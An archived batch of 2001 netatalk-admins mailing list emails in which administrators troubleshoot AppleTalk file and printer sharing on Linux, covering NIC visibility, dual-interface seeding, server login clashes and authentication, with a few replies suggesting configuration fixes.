Received: from hawk.lanux.com (lanux.com [216.129.206.194])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA11287
	for <netatalk-admins@umich.edu>; Wed, 17 Oct 2001 16:26:23 -0400 (EDT)
Received: from lanux.com (IDENT:root@puffin.ntk [192.168.1.13])
	by hawk.lanux.com (8.9.3/8.9.3) with ESMTP id QAA07607
	for <netatalk-admins@umich.edu>; Wed, 17 Oct 2001 16:31:19 -0400
Sender: root@hawk.lanux.com
Message-ID: <3BCDE9CD.C973CF10@lanux.com>
Date: Wed, 17 Oct 2001 16:27:57 -0400
From: Steve Kennedy <steve@lanux.com>
Organization: Lanux Limited
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.4 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Chooser and D-Link DF530TX
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Greetings,
    Has anybody else experienced any problems with netatalk when using
D-Link DFE-530TX card(s) in the Linux PC?  Other cards that I've tested
work fine, but when I use a D-Link card, I can't see the server in the
chooser menu.  I can connect if I use the server's IP, but it's name
doesn't show up in the list.  No configuration parameters were changed,
so I assume the problem lies with the d-link cards.  Maybe I need to put
something extra in the config file???

    Thanks in advance if somebody can help.

Steve


From netatalk.administrators-errors@umich.edu  Thu Oct 18 04:13:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA02362
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Oct 2001 04:13:43 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id EAA14274
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Oct 2001 04:13:43 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id EAA14249
	for netatalk.administrators-members@umich.edu; Thu, 18 Oct 2001 04:13:42 -0400 (EDT)
Received: from mail.shanghai.fr ([194.133.125.136])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id EAA14198
	for <netatalk-admins@umich.edu>; Thu, 18 Oct 2001 04:13:40 -0400 (EDT)
Received: from sebastien (localhost.localdomain [127.0.0.1])
	by mail.shanghai.fr (Postfix) with SMTP id 47E9EC379
	for <netatalk-admins@umich.edu>; Thu, 18 Oct 2001 10:09:27 +0200 (CEST)
From: =?iso-8859-1?Q?S=E9bastien_CRAMATTE?= <s.cramatte@shanghai.fr>
To: <netatalk-admins@umich.edu>
Subject: How can i share a Cups linux printer to macOs Box
Date: Thu, 18 Oct 2001 10:13:58 +0200
Message-ID: <FDEAKNJKAHPCCIPJHBDKOEIDCEAA.s.cramatte@shanghai.fr>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300
Importance: Normal

Hello

Does anyone know how can I share a linux cups printer on
my netatalk network. My macs print directly on my HP Laserjet and
I prefer to use the print server.


Thanks.

Sébastien


S H A N G H A I
---------------
28 Rue de Solférino
92100 - Boulogne Billancourt

tél : 01 46 10 46 70
fax : 01 46 10 46 71

info@shanghai.fr
http://www.shanghai.fr


From netatalk.administrators-errors@umich.edu  Thu Oct 18 05:03:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA04234
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Oct 2001 05:03:32 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA18008
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Oct 2001 05:03:32 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA18000
	for netatalk.administrators-members@umich.edu; Thu, 18 Oct 2001 05:03:32 -0400 (EDT)
Received: from rukzak.skavt.net (rukzak.skavt.net [212.103.146.165])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA17977
	for <netatalk-admins@umich.edu>; Thu, 18 Oct 2001 05:03:30 -0400 (EDT)
Received: by rukzak.skavt.net (Postfix, from userid 16)
	id 721BA67BF5; Thu, 18 Oct 2001 11:07:24 +0200 (CEST)
To: netatalk-admins@umich.edu
Subject: Can not share a disk between 2 networks
Message-ID: <1003396044.3bce9bcc65177@postar.skavt.net>
Date: Thu, 18 Oct 2001 11:07:24 +0200 (CEST)
From: Toni Anzlovar <toni@skavt.net>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
User-Agent: IMP/PHP IMAP webmail program 2.2.6
X-Originating-IP: 213.143.66.42
X-Originating-HOST: 
X-Operating-System: Slackware Linux (http://www.linux.org)
X-WebMail-Company: SkavtNET Slovenia (http://www.skavt.net)

Hello, netatalk admins!

I have come across a slight problem, that might be easy to solve, but I have been stabbing in the dark for a week now.

I am using 1.4b2+asun2.1.3 on Some antient mandrake distribution. I have 2 fully operational and configured NICs.
In atalk.conf I am bringing up 2 nics with -seed. Obviously none of the networks have any routers, so I let the -seed take care of everything.
When afpd starts (afpd.conf has only 1 entry in it) it starts services ONLY on the second card. If I put eth1 before eth0 in atalk.conf, it iwll of course work on eth0. If eth0 is first and eth1 second, the eth1 will advertise the machine in afpd.conf.

One more interesting thing. If I do nbplkup after atalk is up, I only get the machines, connected to the NIC listed last in the atalk.conf. If I try to nbplkup network during the atalk restart, I will briefly see the network from the first card, then it will be completely replaced by the second card's connections.

This is the log:

Oct 18 09:31:06 dexter kernel: NET4: AppleTalk 0.18 for Linux NET4.0
Oct 18 09:31:06 dexter atalkd[787]: restart (1.4b2+asun2.1.3)
Oct 18 09:31:08 dexter atalkd[787]: zip_getnetinfo for eth1
Oct 18 09:31:26 dexter last message repeated 2 times
Oct 18 09:31:36 dexter atalkd[787]: as_timer configured eth1 phase 2 from seed
Oct 18 09:31:37 dexter atalkd[787]: zip_getnetinfo for eth0
Oct 18 09:31:46 dexter last message repeated 2 times
Oct 18 09:31:56 dexter atalkd[787]: as_timer configured eth0 phase 2 from seed
Oct 18 09:31:56 dexter atalkd[787]: ready 0/0/0
Oct 18 09:31:57 dexter atalk: atalkd startup succeeded
Oct 18 09:32:09 dexter atalk: afpd startup succeeded
Oct 18 09:32:15 dexter afpd[799]: 1111:AFPServer@* started on 65280.36:128 (1.4b2+asun2.1.3)

Can I getc 1111 running on 65280.119 (which is on eth1) as well as 65280.36?

Thanx for any info.

__
BP Toni


__
BP Toni
_________________________________________________________________
SkavtNET Slovenia - http://www.skavt.net - http://zskss.skavt.net
                         Ekipa SkavtNETa - http://ekipa.skavt.net

From netatalk.administrators-errors@umich.edu  Thu Oct 18 05:26:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA05054
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Oct 2001 05:26:19 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA17704
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Oct 2001 05:26:19 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA17682
	for netatalk.administrators-members@umich.edu; Thu, 18 Oct 2001 05:26:18 -0400 (EDT)
Received: from server.digim.de ([213.70.143.130])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA17628
	for <netatalk-admins@umich.edu>; Thu, 18 Oct 2001 05:26:16 -0400 (EDT)
Received: from [192.168.1.251] (rechner250.digim.de [192.168.1.251])
	by server.digim.de (8.9.3/8.9.3) with ESMTP id LAA28889
	for <netatalk-admins@umich.edu>; Thu, 18 Oct 2001 11:26:15 +0200
Mime-Version: 1.0
X-Sender: m.hataj@pop
Message-Id: <a05100303b7f450a5838c@[192.168.1.251]>
Date: Thu, 18 Oct 2001 11:26:01 +0200
To: netatalk-admins@umich.edu
From: Mo Hataj <m.hataj@digim.de>
Subject: subscribe
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
Content-Transfer-Encoding: 8bit


-- 
sincerely / mit freundlichen Grüßen

Mo Hataj

-----
Digital Images GmbH
Systemadministration
Mo Hataj
Waisenhausring 9
06108 Halle/Saale

fon - +49-345+2175149
fax - +49-345-2175111


From netatalk.administrators-errors@umich.edu  Thu Oct 18 05:31:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA05396
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Oct 2001 05:31:26 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA27822
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Oct 2001 05:31:26 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA27804
	for netatalk.administrators-members@umich.edu; Thu, 18 Oct 2001 05:31:25 -0400 (EDT)
Received: from mail.zimmer-medienhaus.de (roosevelt.zimmer-medienhaus.de [212.88.130.136])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA27728
	for <netatalk-admins@umich.edu>; Thu, 18 Oct 2001 05:31:23 -0400 (EDT)
Message-id: <fc.0073f941001ef66c0073f941001ef66c.1ef66f@zimmer-medienhaus.de>
Date: Thu, 18 Oct 2001 11:27:25 +0200
Subject: unsubscribe
To: netatalk-admins@umich.edu
From: "David Zimmer" <dz@zimmer-medienhaus.de>
MIME-Version: 1.0
Content-type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit

unsubscribe


From netatalk.administrators-errors@umich.edu  Thu Oct 18 05:43:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA05817
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Oct 2001 05:43:20 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA21173
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Oct 2001 05:43:20 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA21162
	for netatalk.administrators-members@umich.edu; Thu, 18 Oct 2001 05:43:19 -0400 (EDT)
Received: from server.digim.de ([213.70.143.130])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA21112
	for <netatalk-admins@umich.edu>; Thu, 18 Oct 2001 05:43:17 -0400 (EDT)
Received: from [192.168.1.251] (rechner250.digim.de [192.168.1.251])
	by server.digim.de (8.9.3/8.9.3) with ESMTP id LAA29148
	for <netatalk-admins@umich.edu>; Thu, 18 Oct 2001 11:43:16 +0200
Mime-Version: 1.0
X-Sender: m.hataj@pop
Message-Id: <a05100306b7f451a0be70@[192.168.1.251]>
Date: Thu, 18 Oct 2001 11:43:02 +0200
To: netatalk-admins@umich.edu
From: Mo Hataj <m.hataj@digim.de>
Subject: two different servers with same login
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
Content-Transfer-Encoding: 8bit

when i've mounte my graphic-server and try to connect to my 
service-server, he shows me that i'm already logged in and the shares 
of the graphic-server are available, and vice versa.
so, i can't mount the other server, if i've already mounted something.
there are running some more native and netatalk afp servers in the 
network, but these two are the ony one who can't be used 
simultaneously.
switching appletalk-addresses using -seed doesn't change anything.
any help appreciated.


graphic-server
Linux version 2.2.18 (root@grafikserver) (gcc version 2.95.2 20000220 
(Debian GNU/Linux)) #1 Fri May 11 19:52:20 CEST 2001

NET4: AppleTalk 0.18 for Linux NET4.0

netatalk 1.4b2+asun2.1.3

afpd.conf
"Grafik Digital Images" -transall -guest

atalkd.conf
eth0 -phase 2 -net 0-65534 -addr 65280.161

service-server
Linux version 2.2.18pre21 (root@service) (gcc version 2.95.2 20000220 
(Debian GNU/Linux)) #2 SMP Thu Sep 6 20:20:55 CEST 2001

NET4: AppleTalk 0.18 for Linux NET4.0

netatalk 1.4b2+asun2.1.3

afpd.conf
"Service Digital Images" -transall

atalkd.conf
eth0 -phase 2 -net 0-65534 -addr 65280.75




service:/etc/apt# nbplkup
          Service Digital Images:AFPServer                          65280.75:128
                         service:netatalk                           65280.75:4
                         service:Workstation                        65280.75:4
           Server Digital Images:AFPServer                          65280.3:130
                             Fax:LaserWriter                        65280.3:128
                          server:netatalk                           65280.3:4
                          server:Workstation                        65280.3:4
           Grafik Digital Images:AFPServer 
65280.161:128
                    grafikserver:netatalk                           65280.161:4
                    grafikserver:Workstation                        65280.161:4
      Giant Mutating Gallbladder:AFPServer                          65361.37:248
      Giant Mutating Gallbladder:ARA - Personal Server              65361.37:2
      Giant Mutating Gallbladder:Multi-User Client                  65361.37:48
      Giant Mutating Gallbladder:MLS 2.0                            65361.37:39
      Giant Mutating Gallbladder:  Power Macintosh                  65361.37:252
      Giant Mutating Gallbladder:Workstation                        65361.37:4

-- 
sincerely / mit freundlichen Grüßen

Mo Hataj

-----
Digital Images GmbH
Systemadministration
Mo Hataj
Waisenhausring 9
06108 Halle/Saale

fon - +49-345+2175149
fax - +49-345-2175111


From netatalk.administrators-errors@umich.edu  Thu Oct 18 07:48:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA10924
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Oct 2001 07:48:32 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA28005
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Oct 2001 07:48:32 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA27989
	for netatalk.administrators-members@umich.edu; Thu, 18 Oct 2001 07:48:31 -0400 (EDT)
Received: from frank.gwc.org.uk (frank.gwc.org.uk [212.240.16.7])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA27952
	for <netatalk-admins@umich.edu>; Thu, 18 Oct 2001 07:48:30 -0400 (EDT)
Received: from localhost (ali@localhost [127.0.0.1])
	by frank.gwc.org.uk (8.9.3/8.9.3) with ESMTP id MAA01600;
	Thu, 18 Oct 2001 12:48:21 +0100
Date: Thu, 18 Oct 2001 12:48:21 +0100 (BST)
From: Alistair Riddell <ali@gwc.org.uk>
To: Toni Anzlovar <toni@skavt.net>
cc: netatalk-admins@umich.edu
Subject: Re: Can not share a disk between 2 networks
In-Reply-To: <1003396044.3bce9bcc65177@postar.skavt.net>
Message-ID: <Pine.LNX.4.21.0110181248170.22760-100000@frank.gwc.org.uk>
X-foo: bar
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Perhaps you should post your atalkd.conf...

If there are no other routers on the network then you will and you want to
seed the two interfaces properly then I think you'll have to fully specify
each interface in atalkd.conf. i.e. have a -net statement for each
interface.

On Thu, 18 Oct 2001, Toni Anzlovar wrote:

> Hello, netatalk admins!
> 
> I have come across a slight problem, that might be easy to solve, but I have been stabbing in the dark for a week now.
> 
> I am using 1.4b2+asun2.1.3 on Some antient mandrake distribution. I have 2 fully operational and configured NICs.
> In atalk.conf I am bringing up 2 nics with -seed. Obviously none of the networks have any routers, so I let the -seed take care of everything.
> When afpd starts (afpd.conf has only 1 entry in it) it starts services ONLY on the second card. If I put eth1 before eth0 in atalk.conf, it iwll of course work on eth0. If eth0 is first and eth1 second, the eth1 will advertise the machine in afpd.conf.
> 
> One more interesting thing. If I do nbplkup after atalk is up, I only get the machines, connected to the NIC listed last in the atalk.conf. If I try to nbplkup network during the atalk restart, I will briefly see the network from the first card, then it will be completely replaced by the second card's connections.
> 
> This is the log:
> 
> Oct 18 09:31:06 dexter kernel: NET4: AppleTalk 0.18 for Linux NET4.0
> Oct 18 09:31:06 dexter atalkd[787]: restart (1.4b2+asun2.1.3)
> Oct 18 09:31:08 dexter atalkd[787]: zip_getnetinfo for eth1
> Oct 18 09:31:26 dexter last message repeated 2 times
> Oct 18 09:31:36 dexter atalkd[787]: as_timer configured eth1 phase 2 from seed
> Oct 18 09:31:37 dexter atalkd[787]: zip_getnetinfo for eth0
> Oct 18 09:31:46 dexter last message repeated 2 times
> Oct 18 09:31:56 dexter atalkd[787]: as_timer configured eth0 phase 2 from seed
> Oct 18 09:31:56 dexter atalkd[787]: ready 0/0/0
> Oct 18 09:31:57 dexter atalk: atalkd startup succeeded
> Oct 18 09:32:09 dexter atalk: afpd startup succeeded
> Oct 18 09:32:15 dexter afpd[799]: 1111:AFPServer@* started on 65280.36:128 (1.4b2+asun2.1.3)
> 
> Can I getc 1111 running on 65280.119 (which is on eth1) as well as 65280.36?
> 
> Thanx for any info.
> 
> __
> BP Toni
> 
> 
> __
> BP Toni
> _________________________________________________________________
> SkavtNET Slovenia - http://www.skavt.net - http://zskss.skavt.net
>                          Ekipa SkavtNETa - http://ekipa.skavt.net
> 

-- 
Alistair Riddell - BOFH
IT Manager, George Watson's College, Edinburgh
Tel: +44 131 446 6070    Fax: +44 131 452 8594
Microsoft - because god hates us


From netatalk.administrators-errors@umich.edu  Thu Oct 18 12:08:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA24081
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Oct 2001 12:08:40 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA15245
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Oct 2001 12:08:40 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA15214
	for netatalk.administrators-members@umich.edu; Thu, 18 Oct 2001 12:08:39 -0400 (EDT)
Received: from marin.marin.k12.ca.us (marin.marin.k12.ca.us [199.88.112.10])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA15168
	for <netatalk-admins@umich.edu>; Thu, 18 Oct 2001 12:08:38 -0400 (EDT)
Received: from [204.188.205.76] [64.171.173.5] by marin.marin.k12.ca.us with ESMTP
  (SMTPD32-6.06) id AD6F28840140; Thu, 18 Oct 2001 09:03:59 -0700
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 18 Oct 2001 09:08:36 -0700
Subject: Invalid passwords
From: Isaac Ordonez <iordonez@marin.k12.ca.us>
To: nettalk <netatalk-admins@umich.edu>
Message-ID: <B7F44C94.8E4%iordonez@marin.k12.ca.us>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hello,

I have been trying to set up 1.5p8 on my slackware linux box for the last
few day.  The compile ran fine when I used ./configure --with-shadow
--without-pam it found my openssl libs and made everything correctly.  Now
when I set up afpd and start it using dhx as my authentication.  When a use
tries to log in it tells me that they have an invalid password.  If I try
and use a user that doesn't exists it tells me that user doesn't exists, so
I know that it is reading a user list somehow.  Just not encrypting the
passwords.  Also /var/log/messages only shows the user connecting and
xfering a few k of data and then disconnecting, no errors. Has anyone seen
this problem?  Is there a workaround for it?

Thanks,

Isaac Ordonez


From netatalk.administrators-errors@umich.edu  Thu Oct 18 16:30:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA06396
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Oct 2001 16:30:46 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA01815
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Oct 2001 16:30:45 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA01798
	for netatalk.administrators-members@umich.edu; Thu, 18 Oct 2001 16:30:40 -0400 (EDT)
Received: from mail.scandinaviaonline.fi (mail.scandinaviaonline.fi [195.10.169.15])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id QAA01699
	for <netatalk-admins@umich.edu>; Thu, 18 Oct 2001 16:30:39 -0400 (EDT)
Received: (qmail 12376 invoked by uid 33); 18 Oct 2001 20:19:44 -0000
To: atalk admin <netatalk-admins@umich.edu>
Message-ID: <1003436384.3bcf3960224e6@mail.scandinaviaonline.fi>
Date: Thu, 18 Oct 2001 23:19:44 +0300 (EEST)
From: Mika Vuokko <mikav@mail.scandinaviaonline.fi>
Cc: Making@mail.scandinaviaonline.fi,
        UNEXPECTED_DATA_AFTER_ADDRESS@.SYNTAX-ERROR
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
User-Agent: IMP/PHP IMAP webmail program 2.2.6
X-Originating-IP: 130.232.132.99

Hi. 

I asked about the Freehand problem earlier ( links to different files inside 
freehand document breaks ) but now it seems that also other software makes same 
kind of reprodusable actions.

I managed to compile the 1.5pre8 nicely now ( thanks Sebastian! :) ) but still 
have this problem. It makes the netatalk server unusable since it seems to 
break links to other files.

The really amusing part now is that the server works (all the links in the 
pictures inside Freehand document will work) when I
- open share with my username / password
- open *all the folders where the pictures are first*
and *then* open the freehand document - voila! All works fine.

Is this somekind of bug in the afpd? Since it seems that when afpd "knows" the 
folder where I have been when the share is open (the same afpd process with my 
user-id running) everything works, but when I close the share and the afpd-
process with my user-id dies - all links break.

Can anyone comment on this one? Please? :)

// Mika
 
---
 
Mika Vuokko
Programmer 
Scandinavia Online
Finland
 
Tel: +358-20-1234518
Mobile: +358-40-8334884
Email:   mika.vuokko@scandinaviaonline.fi
Web:    http://www.suomi24.fi

From netatalk.administrators-errors@umich.edu  Thu Oct 18 16:37:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA06783
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Oct 2001 16:37:09 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA21786
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Oct 2001 16:37:08 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA21769
	for netatalk.administrators-members@umich.edu; Thu, 18 Oct 2001 16:37:07 -0400 (EDT)
Received: from mhub-c5.tc.umn.edu (mhub-c5.tc.umn.edu [160.94.128.51])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA21605
	for <netatalk-admins@umich.edu>; Thu, 18 Oct 2001 16:36:59 -0400 (EDT)
Received: from garnet.tc.umn.edu by mhub-c5.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Thu, 18 Oct 2001 15:36:59 -0500
Received: from localhost by garnet.tc.umn.edu with ESMTP; Thu, 18 Oct 2001 15:36:58 -0500
Date: Thu, 18 Oct 2001 15:36:58 -0500 (CDT)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: Mo Hataj <m.hataj@digim.de>
cc: netatalk-admins@umich.edu
Subject: Re: two different servers with same login
In-Reply-To: <a05100306b7f451a0be70@[192.168.1.251]>
Message-Id: <Pine.SOL.4.20.0110181534160.3063-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=X-UNKNOWN
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by terminator.rsug.itd.umich.edu id QAA06783


Do the /etc/hosts files on both of your servers have the localhost entry
first? Try switching it so your real ip address is first, and then the
127.0.0.1 entry is second. 

afpd(?) creates it's identity based partly on that first IP address, so if
both servers are identical, that causes problems.

I have no idea if this will fix your problem, but it''s worth a shot.

-Karen

on 10/18/01, Mo Hataj wisely declared:

> when i've mounte my graphic-server and try to connect to my 
> service-server, he shows me that i'm already logged in and the shares 
> of the graphic-server are available, and vice versa.
> so, i can't mount the other server, if i've already mounted something.
> there are running some more native and netatalk afp servers in the 
> network, but these two are the ony one who can't be used 
> simultaneously.
> switching appletalk-addresses using -seed doesn't change anything.
> any help appreciated.
> 
> 
> graphic-server
> Linux version 2.2.18 (root@grafikserver) (gcc version 2.95.2 20000220 
> (Debian GNU/Linux)) #1 Fri May 11 19:52:20 CEST 2001
> 
> NET4: AppleTalk 0.18 for Linux NET4.0
> 
> netatalk 1.4b2+asun2.1.3
> 
> afpd.conf
> "Grafik Digital Images" -transall -guest
> 
> atalkd.conf
> eth0 -phase 2 -net 0-65534 -addr 65280.161
> 
> service-server
> Linux version 2.2.18pre21 (root@service) (gcc version 2.95.2 20000220 
> (Debian GNU/Linux)) #2 SMP Thu Sep 6 20:20:55 CEST 2001
> 
> NET4: AppleTalk 0.18 for Linux NET4.0
> 
> netatalk 1.4b2+asun2.1.3
> 
> afpd.conf
> "Service Digital Images" -transall
> 
> atalkd.conf
> eth0 -phase 2 -net 0-65534 -addr 65280.75
> 
> 
> 
> 
> service:/etc/apt# nbplkup
>           Service Digital Images:AFPServer                          65280.75:128
>                          service:netatalk                           65280.75:4
>                          service:Workstation                        65280.75:4
>            Server Digital Images:AFPServer                          65280.3:130
>                              Fax:LaserWriter                        65280.3:128
>                           server:netatalk                           65280.3:4
>                           server:Workstation                        65280.3:4
>            Grafik Digital Images:AFPServer 
> 65280.161:128
>                     grafikserver:netatalk                           65280.161:4
>                     grafikserver:Workstation                        65280.161:4
>       Giant Mutating Gallbladder:AFPServer                          65361.37:248
>       Giant Mutating Gallbladder:ARA - Personal Server              65361.37:2
>       Giant Mutating Gallbladder:Multi-User Client                  65361.37:48
>       Giant Mutating Gallbladder:MLS 2.0                            65361.37:39
>       Giant Mutating Gallbladder:  Power Macintosh                  65361.37:252
>       Giant Mutating Gallbladder:Workstation                        65361.37:4
> 
> -- 
> sincerely / mit freundlichen Grüßen
> 
> Mo Hataj
> 
> -----
> Digital Images GmbH
> Systemadministration
> Mo Hataj
> Waisenhausring 9
> 06108 Halle/Saale
> 
> fon - +49-345+2175149
> fax - +49-345-2175111
> 
> 


-                                                                  -
    Karen Swanberg | Sys Admin | Dept. of Geology and Geophysics    
206 Pillsbury Hall | 310 Pillsbury Ave. SE | University of Minnesota
     Minneapolis, MN 55455  (612) 624-6541  (612) 625-3819 (f)

              * <---- Tribble   . <--- Tribble.tgz


From netatalk.administrators-errors@umich.edu  Thu Oct 18 16:44:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA07061
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Oct 2001 16:44:18 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA17394
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Oct 2001 16:44:17 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA17262
	for netatalk.administrators-members@umich.edu; Thu, 18 Oct 2001 16:44:16 -0400 (EDT)
Received: from mhub-c4.tc.umn.edu (mhub-c4.tc.umn.edu [160.94.128.49])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA15056
	for <netatalk-admins@umich.edu>; Thu, 18 Oct 2001 16:44:08 -0400 (EDT)
Received: from garnet.tc.umn.edu by mhub-c4.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Thu, 18 Oct 2001 15:42:05 -0500
Received: from localhost by garnet.tc.umn.edu with ESMTP; Thu, 18 Oct 2001 15:42:05 -0500
